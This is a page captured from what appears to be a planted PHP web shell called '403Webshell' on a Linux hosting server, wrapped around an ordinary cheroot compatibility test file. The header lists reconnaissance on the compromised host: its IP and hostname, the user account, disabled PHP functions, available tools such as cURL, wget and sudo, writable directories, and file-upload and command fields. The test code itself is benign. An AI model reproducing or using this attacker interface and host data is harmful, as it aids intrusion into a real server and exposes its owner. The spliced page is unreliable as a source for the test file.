403Webshell
Server IP : 199.250.200.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/proc/2/cwd/opt/imh-python/lib/python3.9/site-packages/cheroot/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/2/cwd/proc/2/cwd/opt/imh-python/lib/python3.9/site-packages/cheroot/test/test__compat.py
"""Test suite for cross-python compatibility helpers."""

import pytest

from cheroot._compat import extract_bytes, ntob, ntou, bton


@pytest.mark.parametrize(
    ('func', 'inp', 'out'),
    (
        (ntob, 'bar', b'bar'),
        (ntou, 'bar', u'bar'),
        (bton, b'bar', 'bar'),
    ),
)
def test_compat_functions_positive(func, inp, out):
    """Check that compatibility functions work with correct input."""
    assert func(inp, encoding='utf-8') == out


@pytest.mark.parametrize(
    'func',
    (
        ntob,
        ntou,
    ),
)
def test_compat_functions_negative_nonnative(func):
    """Check that compatibility functions fail loudly for incorrect input."""
    non_native_test_str = b'bar'
    with pytest.raises(TypeError):
        func(non_native_test_str, encoding='utf-8')


def test_ntou_escape():
    """Check that ``ntou`` supports escape-encoding under Python 2."""
    expected = u'hišřії'
    actual = ntou('hi\u0161\u0159\u0456\u0457', encoding='escape')
    assert actual == expected


@pytest.mark.parametrize(
    ('input_argument', 'expected_result'),
    (
        (b'qwerty', b'qwerty'),
        (memoryview(b'asdfgh'), b'asdfgh'),
    ),
)
def test_extract_bytes(input_argument, expected_result):
    """Check that legitimate inputs produce bytes."""
    assert extract_bytes(input_argument) == expected_result


def test_extract_bytes_invalid():
    """Ensure that invalid input causes exception to be raised."""
    with pytest.raises(
            ValueError,
            match=r'^extract_bytes\(\) only accepts bytes '
            'and memoryview/buffer$',
    ):
        extract_bytes(u'some юнікод їїї')

Youez - 2016 - github.com/yon3zu
LinuXploit